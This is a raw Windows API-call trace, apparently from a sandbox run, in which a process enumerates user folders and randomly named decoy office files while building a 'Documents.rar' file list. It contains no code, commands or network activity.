[0062.453] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e892da0 [0062.453] FindFirstFileW (in: lpFileName="Outlook Files\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0x1162e895060 [0062.453] FindNextFileW (in: hFindFile=0x1162e895060, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.454] FindNextFileW (in: hFindFile=0x1162e895060, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="kkcie@kdj.kd.pst", cchCount2=-1) returned 1 [0062.454] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x3e) returned 0x1162e888c20 [0062.454] FindNextFileW (in: hFindFile=0x1162e895060, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0 [0062.454] GetLastError () returned 0x12 [0062.454] FindClose (in: hFindFile=0x1162e895060 | out: hFindFile=0x1162e895060) returned 1 [0062.454] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e892da0 | out: hHeap=0x1162e7c0000) returned 1 [0062.454] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="qBs_.docx", cchCount2=-1) returned 1 [0062.454] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x14) returned 0x1162e87dde0 [0062.454] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="rhEg_RUaix7K66ZWCFGd.xlsx", cchCount2=-1) returned 1 [0062.454] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x34) returned 0x1162e86d330 [0062.454] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="uGw1_n9EtC7y-G8.xlsx", cchCount2=-1) returned 1 [0062.454] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x2a) returned 0x1162e86d370 [0062.454] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="Vtgh45Nfdq0.pptx", cchCount2=-1) returned 1 [0062.454] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x22) returned 0x1162e88a8b0 [0062.454] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="vZ5hUHAIiw4NGepftsf.docx", cchCount2=-1) returned 1 [0062.455] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x32) returned 0x1162e86daf0 [0062.455] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="XvD0nTrkTg7W8h.xlsx", cchCount2=-1) returned 1 [0062.455] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e89dea0, Size=0x2dc0) returned 0x1162e89dea0 [0062.455] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x28) returned 0x1162e88a910 [0062.455] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="_jIR7aHVEY1Y7.docx", cchCount2=-1) returned 3 [0062.455] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x26) returned 0x1162e88aa90 [0062.455] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0 [0062.455] GetLastError () returned 0x12 [0062.455] FindClose (in: hFindFile=0x1162e87f2f0 | out: hFindFile=0x1162e87f2f0) returned 1 [0062.455] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e890d70 | out: hHeap=0x1162e7c0000) returned 1 [0062.455] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x37a, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0062.455] GetLastError () returned 0x12 [0062.455] SetLastError (dwErrCode=0x12) [0062.455] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0d48e0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0062.456] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0062.456] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0d3490, nMaxCount=2560 | out: lpString="50 files found") returned 14 [0062.456] SetWindowTextW (hWnd=0x102fe, lpString="59 files found") returned 1 [0062.456] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0062.456] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0d3490, nMaxCount=2560 | out: lpString="") returned 0 [0062.456] GetTickCount () returned 0x25896 [0062.457] PeekMessageW (in: lpMsg=0x141a0d4c80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0d4c80) returned 1 [0062.457] GetMessageW (in: lpMsg=0x141a0d4c10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0d4c10) returned 1 [0062.457] GetFocus () returned 0x1031c [0062.457] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0d4c10) returned 0 [0062.457] GetKeyState (nVirtKey=16) returned 0 [0062.457] TranslateAcceleratorW (hWnd=0x102f8, hAccTable=0x1033f, lpMsg=0x141a0d4c10) returned 0 [0062.457] TranslateMessage (lpMsg=0x141a0d4c10) returned 0 [0062.457] DispatchMessageW (lpMsg=0x141a0d4c10) returned 0x0 [0062.457] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.457] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x60) returned 0x1162e7f9df0 [0062.457] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ff92fdd0000 [0062.458] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CompareStringOrdinal") returned 0x7ff92fde8fb0 [0062.458] CompareStringOrdinal (lpString1="_jIR7aHVEY1Y7.docx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jLF_V3JmdmbQkD.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="XvD0nTrkTg7W8h.xlsx", cchCount1=-1, lpString2="vZ5hUHAIiw4NGepftsf.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="XvD0nTrkTg7W8h.xlsx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jfYQRF.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="Vtgh45Nfdq0.pptx", cchCount1=-1, lpString2="uGw1_n9EtC7y-G8.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="Vtgh45Nfdq0.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="rhEg_RUaix7K66ZWCFGd.xlsx", cchCount1=-1, lpString2="qBs_.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="rhEg_RUaix7K66ZWCFGd.xlsx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\9NEdDu7cj0FPBRK.odt", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="Outlook Files\\kkcie@kdj.kd.pst", cchCount1=-1, lpString2="Outlook Files", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="Outlook Files\\kkcie@kdj.kd.pst", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\5S3P3.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="nt5k6gcCx.pdf", cchCount1=-1, lpString2="NdfE2nFSq.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="nt5k6gcCx.pdf", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="My Videos", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\iOBweAZSY.ods", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="My Shapes\\_private\\folder.ico", cchCount1=-1, lpString2="My Shapes\\_private", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="My Shapes\\_private\\folder.ico", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\DLaLU5Np1FYR8L.ods", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="My Shapes\\Favorites.vssx", cchCount1=-1, lpString2="My Shapes\\desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="My Shapes\\Favorites.vssx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="My Shapes", cchCount1=-1, lpString2="My Pictures", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="My Shapes", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="My Music", cchCount1=-1, lpString2="jYH_Ha3VQR8eB_bONWr9.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="My Music", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\xZQ7e8.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="g9y9 K 4j.pptx", cchCount1=-1, lpString2="FoGmW sbJbVrE-.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="g9y9 K 4j.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\XXRZ1Ntz_m owLhUomX.rtf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.458] CompareStringOrdinal (lpString1="eBvOtmtGs9oVXiPynY.xlsx", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="eBvOtmtGs9oVXiPynY.xlsx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\XiqWm6izl6v FQ5Q.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="Database1.accdb", cchCount1=-1, lpString2="d8N7eT8cGeAbq0mZ CKY.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="Database1.accdb", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\XGIfB05FTyHqB.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\R2r4mFlAna2enKE.odp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\rDvRexnp0.xls", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\QrQLcl.csv", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\XCn-HpOwlmV9G3Gdf9O.ods", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\QrQLcl.csv", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\_fBJ yDh9e.ods", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\L_jtuZX b2fVSoNPf.docx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\l 4nHi8sklRbErgBL.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\L_jtuZX b2fVSoNPf.docx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\ww2bCvn.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\99y9.odt", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\mbQ0b7o.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\KzP2.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="_jIR7aHVEY1Y7.docx", cchCount1=-1, lpString2="XvD0nTrkTg7W8h.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="_jIR7aHVEY1Y7.docx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\Kin6ms4WyJhH.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jLF_V3JmdmbQkD.ots", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\Kin6ms4WyJhH.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="Vtgh45Nfdq0.pptx", cchCount1=-1, lpString2="rhEg_RUaix7K66ZWCFGd.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="Vtgh45Nfdq0.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\1q4uHOxj.odt", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", cchCount1=-1, lpString2="uGw1_n9EtC7y-G8.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.459] CompareStringOrdinal (lpString1="uGw1_n9EtC7y-G8.xlsx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\1q4uHOxj.odt", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="Outlook Files\\kkcie@kdj.kd.pst", cchCount1=-1, lpString2="nt5k6gcCx.pdf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="Outlook Files\\kkcie@kdj.kd.pst", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\5S3P3.csv", cchCount1=-1, lpString2="Outlook Files", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.459] CompareStringOrdinal (lpString1="Outlook Files", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="My Shapes\\_private\\folder.ico", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\cA7tY- cuM.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\iOBweAZSY.ods", cchCount1=-1, lpString2="My Videos", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.459] CompareStringOrdinal (lpString1="My Videos", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\cA7tY- cuM.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.459] CompareStringOrdinal (lpString1="My Shapes\\Favorites.vssx", cchCount1=-1, lpString2="My Shapes", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="My Shapes\\Favorites.vssx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\BTQU2WOZsFUjw.pdf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5", cchCount1=-1, lpString2="My Shapes\\desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.460] CompareStringOrdinal (lpString1="My Shapes\\desktop.ini", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\BTQU2WOZsFUjw.pdf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="My Music", cchCount1=-1, lpString2="g9y9 K 4j.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="My Music", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\xZQ7e8.pptx", cchCount1=-1, lpString2="jYH_Ha3VQR8eB_bONWr9.pptx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.460] CompareStringOrdinal (lpString1="jYH_Ha3VQR8eB_bONWr9.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="eBvOtmtGs9oVXiPynY.xlsx", cchCount1=-1, lpString2="Database1.accdb", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="eBvOtmtGs9oVXiPynY.xlsx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\3jMLs-qdS.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\XiqWm6izl6v FQ5Q.doc", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.460] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\3jMLs-qdS.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\QrQLcl.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\35mJ-.pdf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\rDvRexnp0.xls", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\R2r4mFlAna2enKE.odp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.460] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\R2r4mFlAna2enKE.odp", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\35mJ-.pdf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\L_jtuZX b2fVSoNPf.docx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\L_jtuZX b2fVSoNPf.docx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\-mjM.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\ww2bCvn.csv", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\l 4nHi8sklRbErgBL.pps", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.460] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\l 4nHi8sklRbErgBL.pps", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\-mjM.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="_jIR7aHVEY1Y7.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.460] CompareStringOrdinal (lpString1="_jIR7aHVEY1Y7.docx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jLF_V3JmdmbQkD.ots", cchCount1=-1, lpString2="XvD0nTrkTg7W8h.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.460] CompareStringOrdinal (lpString1="XvD0nTrkTg7W8h.xlsx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jfYQRF.csv", cchCount1=-1, lpString2="vZ5hUHAIiw4NGepftsf.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.460] CompareStringOrdinal (lpString1="vZ5hUHAIiw4NGepftsf.docx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="Vtgh45Nfdq0.pptx", cchCount1=-1, lpString2="Outlook Files\\kkcie@kdj.kd.pst", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="Vtgh45Nfdq0.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.460] CompareStringOrdinal (lpString1="uGw1_n9EtC7y-G8.xlsx", cchCount1=-1, lpString2="rhEg_RUaix7K66ZWCFGd.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="uGw1_n9EtC7y-G8.xlsx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\1q4uHOxj.odt", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="My Shapes\\Favorites.vssx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] 